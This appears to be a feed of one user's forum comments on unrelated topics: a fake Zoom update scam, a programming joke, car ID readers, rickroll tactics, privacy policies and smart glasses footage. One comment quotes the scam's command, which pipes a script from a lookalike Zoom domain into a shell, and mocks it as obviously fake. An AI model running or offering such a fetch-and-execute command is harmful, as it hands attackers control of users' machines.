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Blame him all you want for things he did, but trying to keep calm in that situation?
If he had jumped up and left the room asap or maybe said a few words to end that event quickly and GTFO, he’d probably been criticized, too. Probably something about not being professional or whatever.
set MEETING_JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.4030636137.signature"
curl -s https://zoom.uz07web.us/api/mn/4030636137/update/2 | zsh
Uhm… Yeah… Exactly the way I update my software, too…
Also wtf is that JWT? The header looks right (base64 string starting with ey equates to {, so it’s probably json), but the body is… Too short? And why does it say signature instead of containing a (base64) signature? At least make it believable. Noone’s gonna decode that anyways. Just fill it with garbage!
Pluralistic by Cory Doctorow:
bool isChild() {
pid_t result= fork()
return (result == 0)
}
Hahahahahahahahahahahahahaha!
As if you’d need to ask that question…
Should all cars have breathalyzers installed by default?
Yes!
But should all cars have a reader for your government ID and drivers license and immediately log every use of your car to $authority?
Also they constantly tested various variants to get around the block list (Micr0slop, M!croslop,…) just because.
Can we also mix it with some old names? Micro$lop for example?
Are we talking about biological age or mental age which means that most adults are still just honey teens with just a tad better impulse control?
Double Tap really drives it home.
Also I love how some of them are “quick scribbles in Paint” while others are much more detailed and polished
Too bad, that the normal price for that is now a 4-digit sum and will the cost you still $500+…
One important tip from that community to be more successful:
Do not use the “original” link, but link a YouTube short. Why?
Where as the original link will probably just dump you to 1-3 pre roll ads and the rickroll is only seeing the title and closing the tab/app…
!rickrolltactics@lemmy.world will be having a field day, when that happens.
By the way, the data is subject to the privacy regulations of the country we (or our partners) have built our servers in, so good luck trying to understand what exactly our interpretation of your rights
areis.
FTFY
The wearers of these glasses probably don’t want that footage seen by third parties. And the contractors sure seem like they’d rather not watch it—though they risk losing their job if they decide not to label something. “You understand that it is someone’s private life you are looking at, but at the same time you are just expected to carry out the work,” an employee told the papers. “You are not supposed to question it. If you start asking questions, you are gone.”
We at $COMPANY value your privacy and will process your data with the utmost care.
Every. Privacy. Policy. Ever.
Also I want it to be rechargeable with hay bales! …wait
Don’t you think, that’s enough already?